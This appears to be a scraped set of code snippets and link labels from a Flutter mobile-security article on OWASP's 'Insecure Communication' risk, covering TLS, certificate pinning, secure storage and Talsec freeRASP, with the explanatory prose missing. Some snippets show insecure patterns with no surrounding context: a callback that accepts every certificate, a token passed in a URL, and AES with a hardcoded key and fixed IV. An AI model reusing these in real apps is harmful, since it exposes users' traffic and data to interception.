        var resourceValues = URLResourceValues()
        resourceValues.isExcludedFromBackup = exclude
        try setResourceValues(resourceValues)
        print("File at \(path) backup exclusion set to: \(exclude)")
    }
}

// Example of how you might call this from Flutter using Platform Channels:
/*
// In your Flutter Dart code
import 'package:flutter/services.dart';
import 'package:path_provider/path_provider.dart';
import 'dart:io';

class IOSBackupManager {
  static const MethodChannel _channel = MethodChannel('com.example.my_app/backup');

  static Future<void> excludeFileFromBackup(String filename) async {
    final directory = await getApplicationDocumentsDirectory();
    final filePath = '${directory.path}/$filename';
    try {
      await _channel.invokeMethod('excludeFileFromBackup', {'filePath': filePath});
      debugPrint('Successfully requested exclusion for $filename from iCloud backup.');
    } on PlatformException catch (e) {
      debugPrint('Failed to exclude file from backup: ${e.message}');
    }
  }
}

// Usage
// await IOSBackupManager.excludeFileFromBackup('sensitive_data.dat');
*/

// In your Swift AppDelegate.swift or a separate swift file called by your app's main entry
/*
import Flutter
import UIKit

@UIApplicationMain
@objc class AppDelegate: FlutterAppDelegate {
  override func application(
    _ application: UIApplication,
    didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?
  ) -> Bool {
    let controller : FlutterViewController = window?.rootViewController as! FlutterViewController
    let backupChannel = FlutterMethodChannel(name: "com.example.my_app/backup",
                                              binaryMessenger: controller.binaryMessenger)
    backupChannel.setMethodCallHandler({
      (call: FlutterMethodCall, result: @escaping FlutterResult) -> Void in
      guard call.method == "excludeFileFromBackup" else {
        result(FlutterMethodNotImplemented)
        return
      }
      if let args = call.arguments as? [String: Any], let filePath = args["filePath"] as? String {
          let fileURL = URL(fileURLWithPath: filePath)
          do {
              try fileURL.setExcludedFromBackup(exclude: true)
              result(true)
          } catch {
              result(FlutterError(code: "FILE_ERROR", message: "Failed to set exclusion", details: error.localizedDescription))
          }
      } else {
          result(FlutterError(code: "INVALID_ARGS", message: "File path missing", details: nil))
      }
    })

    GeneratedPluginRegistrant.register(with: self)
    return super.application(application, didFinishLaunchingWithOptions: launchOptions)
  }
}
*/
Future<void> _initializeTalsec() async {
  final config = TalsecConfig(
    androidConfig: AndroidConfig(
      packageName: 'com.aheaditec.freeraspExample',
      signingCertHashes: ['AKoRuyLMM91E7lX/Zqp3u4jMmd0A7hH/Iqozu0TMVd0='],
      supportedStores: ['com.sec.android.app.samsungapps'],
      malwareConfig: MalwareConfig(
        blacklistedPackageNames: ['com.aheaditec.freeraspExample'],
        suspiciousPermissions: [
          ['android.permission.CAMERA'],
          ['android.permission.READ_SMS', 'android.permission.READ_CONTACTS'],
        ],
      ),
    ),
    iosConfig: IOSConfig(
      bundleIds: ['com.aheaditec.freeraspExample'],
      teamId: 'M8AK35...',
    ),
    watcherMail: '[email protected]',
    isProd: true,
  );

  await Talsec.instance.start(config);
}
OWASP Mobile Top 10 for Flutter developers
M1: Improper Credential Usage
M2: Inadequate Supply Chain Security
M3: Insecure Authentication/Authorization
M4: Insufficient Input/Output Validation
M5: Insecure Communication
GDPR Info
CCPA Overview
OWASP suggests questions like these
According to OWASP,
debugPrint
logger
packages
How to Block Screenshots, Screen Recording, and Remote Access Tools in Android and iOS Apps
http.post
Console.app
MAST
MobSF (Mobile Security Framework):
Ostorlab
App-Ray
M5 “Insecure Communication,”
M5
freeRASP
freeRASP
freeRASP (Real-time Application Security Platform) by Talsec
freeRASP
freeRASP
freeRASP
freeRASP
freeRASP
freeRASP
freeRASP
FreeRASP
Cover

Majid Hajian - Azure & AI advocate, Dart & Flutter community leader, Organizer, author

final uri = Uri.https('api.yourdomain.com', '/profile');

final res = await http.post(uri, headers: {
  'Authorization': 'Bearer $token',
  'Content-Type': 'application/json',
});
// gRPC – secure channel in Dart
import 'package:grpc/grpc.dart';

final channel = ClientChannel(
  'api.yourdomain.com',
  port: 443,
  options: const ChannelOptions(
    credentials: ChannelCredentials.secure(),
  ),
);
sudo apt update
sudo apt install certbot
sudo certbot certonly --standalone -d api.yourdomain.com
sudo certbot renew --dry-run
/etc/letsencrypt/live/api.yourdomain.com/├── fullchain.pem
  └── privkey.pem
openssl req -x509 -nodes -days 365 \
  -newkey rsa:2048 -keyout localhost.key \
  -out localhost.crt -subj "/CN=localhost"
import 'dart:io';
import 'package:shelf/shelf.dart';
import 'package:shelf/shelf_io.dart';
import 'package:shelf_router/shelf_router.dart';

// Configure routes.
final _router =
    Router()
      ..get('/', _rootHandler)
      ..get('/echo/<message>', _echoHandler);

Response _rootHandler(Request req) {
  return Response.ok('Hello, World!\n');
}

Response _echoHandler(Request request) {
  final message = request.params['message'];
  return Response.ok('$message\n');
}

SecurityContext getSecurityContext() {
  // Bind with a secure HTTPS connection
  final chain =
      Platform.script
          .resolve('certificates/localhost.crt')
          .toFilePath(); // Point to the localhost cert
  final key =
      Platform.script
          .resolve('certificates/localhost.key')
          .toFilePath(); // Point to the localhost key

  return SecurityContext()
    ..useCertificateChain(chain)
    ..usePrivateKey(
      key,
      password: 'dartdart',
    ); // You can set a password or leave it empty if not used
}
void main(List<String> args) async {
  // Use localhost for local testing.
  final ip =
      InternetAddress
          .loopbackIPv4; // This ensures the server binds to localhost.

  // Configure a pipeline that logs requests.
  final _handler = Pipeline().addMiddleware(logRequests()).addHandler(_router);

  // Use port 443 for HTTPS.
  final port = int.parse(Platform.environment['PORT'] ?? '443');
  final server = await serve(
    _handler,
    ip,
    port,
    securityContext: getSecurityContext(),
  );
  print('Server listening on https://localhost:$port');
}
<network-security-config>
  <domain-config cleartextTrafficPermitted="false">
    <domain includeSubdomains="true">api.yourdomain.com</domain>
  </domain-config>
</network-security-config>
<applicationandroid:networkSecurityConfig="@xml/network_security_config">
    <!-- Other app configurations --></application>
<network-security-config>
  <domain-config cleartextTrafficPermitted="false">
    <domain includeSubdomains="true">api.yourdomain.com</domain>
  </domain-config>

  <!-- Allow cleartext traffic for emulator --><domain-config cleartextTrafficPermitted="true">
    <domain includeSubdomains="true">10.0.2.2</domain>
  </domain-config>
</network-security-config>
<key>NSAppTransportSecurity</key>
<dict>
  <key>NSAllowsArbitraryLoads</key>
  <false/> <!-- Disable arbitrary loads by default --><!-- Optional dev exception for localhost --><key>NSExceptionDomains</key>
  <dict>
    <key>localhost</key>
    <dict>
      <key>NSExceptionAllowsInsecureHTTPLoads</key><true/> <!-- Allow insecure traffic only for localhost --><key>NSIncludesSubdomains</key><true/>
    </dict>
  </dict>
</dict>
import 'package:http/http.dart' as http;

final res = await http
    .get(Uri.https('api.yourdomain.com', '/status'))
    .timeout(const Duration(seconds: 10));

print('Status ${res.statusCode}');
import 'package:http/http.dart' as http;

final response = await http.get(Uri.parse('https://api.myapp.com/data'));
// If the certificate is invalid, this throws a handshake exception.
import 'dart:io';

SecurityContext getSecurityContext() {
  final context = SecurityContext();

  // Load certificate chain (e.g., full chain in PEM format)
  context.useCertificateChain('path_to_fullchain.pem');

  // Load private key (e.g., for a server)
  context.usePrivateKey('path_to_privatekey.pem', password: 'your_password');

  return context;
}
SecurityContext context = SecurityContext()
  ..useTls13 = true;  // Enforce only TLS 1.3
context.setAlpnProtocols(['h2', 'http/1.1'], false); // Prefer HTTP/2, fall back to HTTP/1.1
import 'dart:io';

HttpClient createDevHttpClient() {
  final client = HttpClient();
  assert(() {
    // DEBUG ONLY: Trust our local dev server at 10.0.2.2 (emulator)
    client.badCertificateCallback = (cert, host, port) {
      return host == '10.0.2.2';
    };
    return true;
  }());
  return client;
}
client.badCertificateCallback = (_, __, ___) => true;
# Fetch the leaf certificate from the server
openssl s_client -connect api.yourdomain.com:443 -servername api.yourdomain.com </dev/null \
  | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > server_cert.pem
# Generate the public key hash (SPKI)
openssl x509 -in server_cert.pem -noout -pubkey \
  | openssl pkey -pubin -outform der \
  | openssl dgst -sha256 -binary \
  | openssl base64
flutter:assets:- assets/server_cert.pem
import 'dart:io';
import 'package:flutter/services.dart' show rootBundle;
import 'package:http/io_client.dart';
import 'package:http/http.dart' as http;

Future<http.Client> createPinnedClient() async {
  final ctx = SecurityContext(withTrustedRoots: false);
  final pem = await rootBundle.load('assets/server_cert.pem');
  ctx.setTrustedCertificatesBytes(pem.buffer.asUint8List());

  final ioClient = HttpClient(context: ctx)
    ..badCertificateCallback = (_, __, ___) => false; // Reject anything not in ctx
  return IOClient(ioClient);
}

Future<void> fetchSecure() async {
  final client = await createPinnedClient();
  final res = await client.get(Uri.https('api.yourdomain.com', '/data'));
  print(res.body);
  client.close();
}
import 'dart:convert';
import 'dart:io';
import 'package:crypto/crypto.dart';
import 'package:http/io_client.dart';

const expected = 'AbCdEfGhIjKlMnOp...'; // The Base64 SPKI hash

HttpClient fingerprintClient() {
  final c = HttpClient();
  c.badCertificateCallback = (X509Certificate cert, String host, int port) {
    if (host != 'api.yourdomain.com') return false;
    final hash = sha256.convert(cert.der).bytes;
    return base64.encode(hash) == expected;  // Compare with expected SPKI hash
  };
  return c;
}
import 'package:http_certificate_pinning/secure_http_client.dart';

Future<http.Client> buildPinned(List<String> hashes) async =>
    SecureHttpClient.build(
      hashes.map((h) => h.replaceAll(':', '').toUpperCase()).toList(),
      shaType: SHA.SHA256,
      allowInvalidCertificates: false,
    );
import 'dart:io';
import 'package:web_socket_channel/io.dart';

HttpClient _pinnedClient() {
  // Reuse createPinnedClient() from Section 5 or build your own
  final client = HttpClient();
  client.badCertificateCallback = (cert, host, port) {
    // Reject unless host is our server AND fingerprint matches
    return false; // Replace with your real certificate check
  };
  return client;
}

void connectRealtime() {
  final channel = IOWebSocketChannel.connect(
    Uri.parse('wss://realtime.yourdomain.com/socket'),
    customClient: _pinnedClient(), // Enforces pinning and trust rules
    protocols: ['json'],           // Optional sub‑protocols
  );

  channel.stream.listen(
    (data) => print('Got data: $data'),
    onError: (e) => print('WebSocket error: $e'),
    onDone: () => print('WebSocket closed with code: ${channel.closeCode}'),
  );

  // Send a heartbeat to keep the connection alive
  channel.sink.add('{"type":"ping"}');
}
// Inside a shelf handler
if (WebSocketTransformer.isUpgradeRequest(request.headers)) {
  final socket = await WebSocketTransformer.upgrade(request);
  socket.listen((event) {
    // Handle incoming data (e.g., JSON)
  });
  return null; // The request has been hijacked by WebSocket
}
final uri = Uri.parse('https://api.yourdomain.com/user?token=abc123');
await http.get(uri);
final uri = Uri.https('api.yourdomain.com', '/user');
await http.post(
  uri,
  headers: {
    'Authorization': 'Bearer abc123',
    'Content-Type': 'application/json',
  },
  body: jsonEncode({'includeSensitive': true}),
);
final response = await http.post(uri, headers: headers, body: jsonEncode(body));

if (response.statusCode == 401 || response.statusCode == 403) {
  throw Exception('Authentication failed');
}
import 'package:flutter_secure_storage/flutter_secure_storage.dart';

final storage = FlutterSecureStorage(
  aOptions: const AndroidOptions(encryptedSharedPreferences: true),
);

// Store the token securely
await storage.write(key: 'auth_token', value: token);

// Retrieve the token
final token = await storage.read(key: 'auth_token');

// Delete the token on logout
await storage.delete(key: 'auth_token');
HubAdapter().configureScope((scope) {
  scope.addEventProcessor((event, {hint}) {
    final scrubbed = event.copyWith(
      request: event.request?.copyWith(headers: {'Authorization': '[REDACTED]'}),
    );
    return scrubbed;
  });
});
import 'package:encrypt/encrypt.dart';

final key = Key.fromUtf8('32CharactersLongEncryptionKey!');
final iv = IV.fromLength(16);
final aes = Encrypter(AES(key));

String wrap(String plain) => aes.encrypt(plain, iv: iv).base64;
String unwrap(String b64) => aes.decrypt(Encrypted.fromBase64(b64), iv: iv);
<network-security-config>
  <!-- Disallow HTTP for everything except optional debug hosts -->
  <domain-config cleartextTrafficPermitted="false">
    <domain includeSubdomains="true">api.yourdomain.com</domain>
  </domain-config>

  <!-- DEBUG ONLY: allow the emulator loopback -->
  <debug-overrides>
    <domain-config cleartextTrafficPermitted="true">
      <domain>10.0.2.2</domain>
    </domain-config>
  </debug-overrides>
</network-security-config>
<key>NSAppTransportSecurity</key>
<dict>
  <!-- Disallow arbitrary HTTP -->
  <key>NSAllowsArbitraryLoads</key><false/>
  <!-- DEBUG ONLY: localhost exception -->
  <key>NSExceptionDomains</key>
  <dict>
    <key>localhost</key>
    <dict>
      <key>NSExceptionAllowsInsecureHTTPLoads</key><true/>
      <key>NSIncludesSubdomains</key><true/>
    </dict>
  </dict>
</dict>
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
docker run --rm -t owasp/zap2docker-stable zap.sh -quickurl https://staging.api.yourdomain.com -quickout zap.html
Future<http.Response> fetch(Uri u) async {
  const timeout = Duration(seconds: 8);
  for (var i = 0; i < 3; i++) {
    try {
      return await http.get(u).timeout(timeout);
    } on TimeoutException catch (_) {
      if (i == 2) rethrow;
      await Future.delayed(Duration(seconds: 2 << i));
    }
  }
  throw Exception('unreachable');
}
dependencies:
  freerasp: 
import 'package:freerasp/freerasp.dart';
import 'package:flutter/widgets.dart';

void main() {
  WidgetsFlutterBinding.ensureInitialized();
  _startFreeRASP();               // run before anything else
  runApp(MyApp());
}

void _startFreeRASP() {
  final config = TalsecConfig(
    androidConfig: AndroidConfig(
      packageName: 'com.example.app',
      signingCertHashes: ['<SHA256 PLAY‑STORE SIGNATURE>'],
      supportedStores: ['com.android.vending'],
    ),
    iosConfig: IOSConfig(
      bundleId: 'com.example.app',
      teamId: '<APPLE TEAM ID>',
    ),
    watcherMail: '[email protected]',
  );

  final callbacks = TalsecCallbacks(
    onDeviceRooted:        () => _react('Root / jailbreak detected'),
    onEmulatorDetected:    () => _react('Running in emulator'),
    onDebuggerDetected:    () => _react('Debugger attached'),
    onRepackagingDetected: () => _react('App binary modified'),
    onAppIntegrity:        () => _react('Integrity checksum failed'),
  );

  Talsec.instance.start(config: config, callbacks: callbacks);
}

void _react(String reason) {
  // 1 Log a minimal event to your backend
  // 2 Wipe tokens and sensitive prefs
  // 3 Block UI or force logout
  print('Security event: $reason');
}
M1: Improper Credential Usage
M2: Inadequate Supply Chain Security
M3: Insecure Authentication/Authorization
M4: Insufficient Input/Output Validation
Let’s Encrypt
Network Security Config
SecurityContext
SecurityContext
Dynamic Certificate Pinning
http_certificate_pinning
AppiCrypt
M1 article.
http://api.yourdomain.com
cdn.yourdomain.com
hstspreload.org
RASP+
AppiCrypt
Malware Detection
Dynamic TLS Pinning
Secret Vault
Cover

Majid Hajian - Azure & AI advocate, Dart & Flutter community leader, Organizer, author

FreeRASP
@Microsoft
@FlutterVikings
http://flutterengineering.io
https://x.com/mhadaily
@Microsoft
@FlutterVikings
http://flutterengineering.io
https://x.com/mhadaily
root detection
jailbreak detection
hook detection